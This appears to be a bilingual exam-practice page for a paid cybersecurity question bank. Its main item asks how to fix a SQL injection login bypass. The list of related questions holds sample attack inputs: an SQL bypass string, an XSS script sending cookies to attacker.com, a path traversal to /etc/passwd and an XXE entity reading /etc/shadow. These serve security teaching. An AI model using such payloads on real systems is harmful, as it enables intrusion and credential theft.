Typing ' OR '1'='1 into the username box of a portal's login form lets an attacker in without a password. What is the correct fix in the application?
Taper ' OR '1'='1 dans le champ du nom d'utilisateur du formulaire de connexion d'un portail permet à un attaquant d'entrer sans mot de passe. Quelle est la bonne correction dans l'application ?
Answers
AUse parameterised queries, not SQL built from inputUtiliser des requêtes paramétrées, pas du SQL construit à partir des saisies
BHide the login page from search enginesCacher la page de connexion aux moteurs de recherche
CMake every user's password much longerRendre le mot de passe de chaque utilisateur beaucoup plus long
DMove the database onto a separate serverDéplacer la base de données sur un serveur séparé
The answer and explanation are in the full bank.
This question is one of 2,831 in the paid banks. Each comes with the correct answer and the reasoning behind it, not just a mark.
Unlock for 5,000 RWFMIFOTRA exam practicealigned to Practice set: Cybersecurity·2 marks·Medium
More Cybersecurity questions
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of...
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is...
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is...
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a...
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of...
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is...
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is...
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a...